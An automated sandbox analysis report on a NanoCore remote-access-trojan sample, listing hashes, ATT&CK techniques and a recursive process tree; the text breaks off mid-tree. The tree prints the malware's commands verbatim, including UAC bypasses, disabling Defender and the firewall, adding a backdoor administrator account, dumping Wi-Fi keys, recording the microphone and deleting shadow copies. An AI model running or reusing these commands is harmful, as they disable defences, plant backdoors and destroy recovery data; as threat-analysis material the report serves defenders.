nanocore | e7fc252dd817b9a270cdd0ac92ad625de5ea48a24ed2d6c188be2ea069cf81d7

Analysis

max time kernel
3s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/08/2026, 21:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
sutbongtv.io_ransome.exe
Size 39KB
Sample260810-1dtffayfpc
SHA256 e7fc252dd817b9a270cdd0ac92ad625de5ea48a24ed2d6c188be2ea069cf81d7
MD5 999a49903f647a702128e5416e55478b
SHA1 9696a5fd6015a7df52cf461c8e912ef783d5ea73
SHA512 162657cf7fe96ba08bd9bdb02f9ff34dff3d36a3e4f85f3a2da1d2d240ce0d174c794343ae5a8bf6a4d25bd05b37b7511ec92537e4c90727affb712210304091
SSDEEP 768:3IX+3t4tMYrbLcqNuYs37sG9JmoIym9UHYdEEusXqKhWayzC:vd4tBbLk4MmoI19U4df9XqiWy
TLSH
T10503E70537FD8668E1BF6AB74D7282008775F8979D22D70D0ED1848E1AB3B448E99B93
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution nanocore impact keylogger persistence privilege_escalation ransomware spyware stealer trojan

Malware Config

Extracted

Family

nanocore

Attributes

c2_port
22401

Signatures

Family: NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Disables one or more Microsoft Defender components 1 TTPs 24 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
3012	powershell.exe
3372	powershell.exe
6756	powershell.exe
12336	powershell.exe
1128	powershell.exe
4276	powershell.exe
1884	powershell.exe
8468	powershell.exe
11628	powershell.exe
11692	powershell.exe
14852	powershell.exe
4144	powershell.exe
3220	powershell.exe
5244	powershell.exe
6432	powershell.exe
7052	powershell.exe
9152	powershell.exe
12796	powershell.exe
15020	powershell.exe
4644	powershell.exe
6800	powershell.exe
9160	powershell.exe
11120	powershell.exe
6096	powershell.exe

Modifies Windows Firewall 2 TTPs 19 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2016	netsh.exe
6240	netsh.exe
15276	netsh.exe
9168	netsh.exe
11492	netsh.exe
1264	netsh.exe
4232	netsh.exe
3512	netsh.exe
9692	netsh.exe
7604	netsh.exe
10920	netsh.exe
11700	netsh.exe
9164	netsh.exe
12432	netsh.exe
5996	netsh.exe
12976	netsh.exe
12044	netsh.exe
13624	netsh.exe
9436	netsh.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.bat	sutbongtv.io_ransome.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateService = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtv.io_ransome.exe"	sutbongtv.io_ransome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\TCP Monitor = "C:\\Users\\Admin\\AppData\\Local\\tcpmon.exe"	sutbongtv.io_ransome.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 44 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
15240	powershell.exe
9936	powershell.exe
2832	powershell.exe
11008	powershell.exe
10248	powershell.exe
4296	powershell.exe
8712	powershell.exe
10540	powershell.exe
10136	powershell.exe
10744	powershell.exe
11712	powershell.exe
14544	powershell.exe
9848	powershell.exe
9924	powershell.exe
12616	powershell.exe
13552	powershell.exe
12496	powershell.exe
15092	powershell.exe
9560	powershell.exe
9960	powershell.exe
4644	powershell.exe
3220	powershell.exe
5244	powershell.exe
7052	powershell.exe
11120	powershell.exe
15020	powershell.exe
6432	powershell.exe
1884	powershell.exe
12336	powershell.exe
6096	powershell.exe
1128	powershell.exe
4276	powershell.exe
3012	powershell.exe
3372	powershell.exe
6800	powershell.exe
6756	powershell.exe
9160	powershell.exe
11628	powershell.exe
4144	powershell.exe
9152	powershell.exe
8468	powershell.exe
12796	powershell.exe
11692	powershell.exe
14852	powershell.exe

Creates a new local user account 1 TTPs 47 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
11756	net.exe
7364	net.exe
7376	net.exe
704	net1.exe
2144	net1.exe
7488	net1.exe
13540	net1.exe
14104	net.exe
12032	net1.exe
5960	net.exe
9772	net.exe
12104	net1.exe
8000	net.exe
3160	net1.exe
7968	net1.exe
8068	net1.exe
8592	net.exe
8220	net1.exe
10988	net1.exe
9876	net1.exe
15132	net.exe
7268	net.exe
8472	net1.exe
9424	net.exe
12196	net1.exe
13836	net.exe
6872	net1.exe
9352	net.exe
6968	net1.exe
6992	net1.exe
1176	net.exe
3456	net.exe
6196	net.exe
10152	net1.exe
7212	net.exe
3348	net.exe
6452	net.exe
6700	net.exe
12452	net.exe
14404	net1.exe
2124	net.exe
2424	net1.exe
5516	net1.exe
9000	net.exe
3728	net1.exe
8616	net1.exe
8476	net.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
12968	sc.exe
13284	sc.exe
12320	sc.exe
15272	sc.exe
14560	sc.exe
13588	sc.exe
13280	sc.exe
15176	sc.exe
11128	sc.exe
7132	sc.exe
11452	sc.exe
3504	sc.exe
9624	sc.exe
9184	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 20 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
10664	netsh.exe
8816	netsh.exe
12176	netsh.exe
9692	netsh.exe
11352	netsh.exe
11900	netsh.exe
14920	netsh.exe
8228	netsh.exe
12344	netsh.exe
3824	netsh.exe
9580	netsh.exe
12340	netsh.exe
2336	netsh.exe
9176	netsh.exe
3076	netsh.exe
6164	netsh.exe
9668	netsh.exe
9648	netsh.exe
9676	netsh.exe
10556	netsh.exe

Interacts with shadow copies 3 TTPs 19 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
10308	vssadmin.exe
11416	vssadmin.exe
14664	vssadmin.exe
14720	vssadmin.exe
5948	vssadmin.exe
12368	vssadmin.exe
10132	vssadmin.exe
14100	vssadmin.exe
12988	vssadmin.exe
10124	vssadmin.exe
8272	vssadmin.exe
11684	vssadmin.exe
12424	vssadmin.exe
14120	vssadmin.exe
11808	vssadmin.exe
344	vssadmin.exe
9304	vssadmin.exe
10896	vssadmin.exe
10688	vssadmin.exe

Modifies registry class 6 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\DelegateExecute	sutbongtv.io_ransome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command	sutbongtv.io_ransome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings	sutbongtv.io_ransome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell	sutbongtv.io_ransome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open	sutbongtv.io_ransome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtv.io_ransome.exe"	sutbongtv.io_ransome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 24 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4764	schtasks.exe
4956	schtasks.exe
1768	schtasks.exe
8808	schtasks.exe
14496	schtasks.exe
12492	schtasks.exe
10972	schtasks.exe
12268	schtasks.exe
7076	schtasks.exe
7436	schtasks.exe
7592	schtasks.exe
3336	schtasks.exe
1376	schtasks.exe
4704	schtasks.exe
52	schtasks.exe
7012	schtasks.exe
6944	schtasks.exe
7212	schtasks.exe
8304	schtasks.exe
11288	schtasks.exe
12116	schtasks.exe
14356	schtasks.exe
11136	schtasks.exe
1284	schtasks.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	4648	cmstp.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1796	mmc.exe
1796	mmc.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 5908 wrote to memory of 3336	5908	sutbongtv.io_ransome.exe	88
PID 5908 wrote to memory of 4648	5908	sutbongtv.io_ransome.exe	91
PID 5908 wrote to memory of 1856	5908	sutbongtv.io_ransome.exe	92
PID 1856 wrote to memory of 1796	1856	eventvwr.exe	93
PID 5908 wrote to memory of 1220	5908	sutbongtv.io_ransome.exe	94
PID 5908 wrote to memory of 4144	5908	sutbongtv.io_ransome.exe	95

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe
"C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe"
1⤵
- Creates a file in the Startup directory
- Adds Run key to start application
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:5908
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3336
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\9a2bbeb5-529b-40bd-8f40-ce922bd133b7.inf
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4648
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1856
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:1796
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:1220
- - C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe
    "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe"
    3⤵
    PID:3004
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4764
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\d44d58d9-3430-42d3-b1e0-a38faf0161b5.inf
      4⤵
      PID:5992
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:1932
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:908
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:944
    - - C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe"
        5⤵
        
        PID:5920
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1768
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\792b4e42-3ac3-4e7f-adaa-0e9f4ff4a5c2.inf
        6⤵
        
        PID:5044
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:1120
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:2060
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:5012
        
        C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe"
        7⤵
        
        PID:3020
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7012
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\b5f5cf1f-b27b-4ec6-b7c1-009a736b36f1.inf
        8⤵
        
        PID:7064
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:1276
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:6328
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:6308
        
        C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe"
        9⤵
        
        PID:6540
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe" /sc onlogon /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6944
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\f4ab832c-8453-415f-bf96-ca6450d6968d.inf
        10⤵
        
        PID:7620
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        10⤵
        
        PID:7840
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        11⤵
        
        PID:7492
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        10⤵
        
        PID:7512
        
        C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe"
        11⤵
        
        PID:8332
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe" /sc onlogon /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7212
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\c3f2f3cb-2983-4710-9290-e005f9eba622.inf
        12⤵
        
        PID:8912
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        12⤵
        
        PID:8956
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        13⤵
        
        PID:3768
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        12⤵
        
        PID:1464
        
        C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe"
        13⤵
        
        PID:10188
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe" /sc onlogon /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:12492
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\66db2d58-a3fa-481f-81d4-3b7e09937a32.inf
        14⤵
        
        PID:13228
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        14⤵
        
        PID:7844
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        15⤵
        
        PID:7616
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        14⤵
        
        PID:13244
        
        C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe"
        15⤵
        
        PID:14440
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe" /sc onlogon /f
        16⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10972
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\3d6adacf-96ce-43b5-9d79-624ff895d56a.inf
        16⤵
        
        PID:1108
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        16⤵
        
        PID:2308
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        17⤵
        
        PID:8240
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        16⤵
        
        PID:12724
        
        C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe"
        17⤵
        
        PID:8524
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        16⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:11120
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        16⤵
        Creates a new local user account
        
        PID:14104
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        17⤵
        Creates a new local user account
        
        PID:12032
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        16⤵
        
        PID:8012
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        17⤵
        
        PID:14120
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        16⤵
        
        PID:14836
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:11692
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        14⤵
        Creates a new local user account
        
        PID:13836
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        15⤵
        Creates a new local user account
        
        PID:13540
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        14⤵
        
        PID:12848
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        15⤵
        
        PID:10672
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        14⤵
        
        PID:5020
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639219980811381369.wav')"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:15240
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        14⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:8228
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        14⤵
        Interacts with shadow copies
        
        PID:12368
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        14⤵
        
        PID:10436
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        14⤵
        
        PID:14932
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        14⤵
        Modifies Windows Firewall
        
        PID:15276
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:8468
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        12⤵
        Creates a new local user account
        
        PID:9772
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        13⤵
        Creates a new local user account
        
        PID:8220
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        12⤵
        
        PID:10048
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        13⤵
        
        PID:9196
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        12⤵
        
        PID:11436
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        12⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3824
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639219980478664798.wav')"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14544
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        12⤵
        Interacts with shadow copies
        
        PID:5948
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        12⤵
        
        PID:13264
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        12⤵
        
        PID:2104
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        13⤵
        
        PID:4956
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        12⤵
        Modifies Windows Firewall
        
        PID:9436
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        10⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:1884
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        Creates a new local user account
        
        PID:7376
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        11⤵
        Creates a new local user account
        
        PID:8616
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:8580
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:9100
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:9828
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639219980321962431.wav')"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10248
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:11900
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        10⤵
        Interacts with shadow copies
        
        PID:12988
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        10⤵
        
        PID:10252
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        10⤵
        
        PID:12140
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        11⤵
        
        PID:12276
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        10⤵
        Modifies Windows Firewall
        
        PID:4232
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6432
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:6700
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        Creates a new local user account
        
        PID:7488
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:7480
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:6840
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:728
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:12176
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639219980214347372.wav')"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11712
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        8⤵
        Interacts with shadow copies
        
        PID:12424
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        8⤵
        
        PID:13184
        
        C:\Windows\System32\net.exe
        
